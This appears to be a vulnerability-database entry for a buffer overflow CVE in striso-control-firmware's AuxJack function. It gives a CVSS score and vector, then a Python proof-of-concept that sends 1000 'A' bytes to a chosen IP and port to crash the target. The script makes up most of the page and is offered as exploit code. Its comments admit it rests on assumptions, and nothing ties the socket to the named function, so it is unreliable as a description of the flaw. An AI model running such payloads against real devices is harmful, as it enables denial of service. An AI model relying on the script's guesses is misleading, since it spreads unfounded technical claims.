striso-control-firmware 54c9722 is vulnerable to Buffer Overflow in function AuxJack.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
striso-control-firmware 54c9722
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2025-28344 (Buffer Overflow in AuxJack function)
This script sends a malicious payload to trigger the buffer overflow.
Note: The target IP and port need to be configured based on the actual environment.
"""
import socket
import sys
def send_exploit(target_ip, target_port):
# Construct a payload larger than the expected buffer size
# Assuming the buffer is small, we send 1000 bytes of 'A'
payload = b'A' * 1000
try:
print(f"[+] Connecting to {target_ip}:{target_port}...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
print(f"[+] Sending payload ({len(payload)} bytes)...")
s.send(payload)
print("[+] Payload sent. Check if the device crashed.")
s.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 poc.py <target_ip> <target_port>")
sys.exit(1)
TARGET_IP = sys.argv[1]
TARGET_PORT = int(sys.argv[2])
send_exploit(TARGET_IP, TARGET_PORT)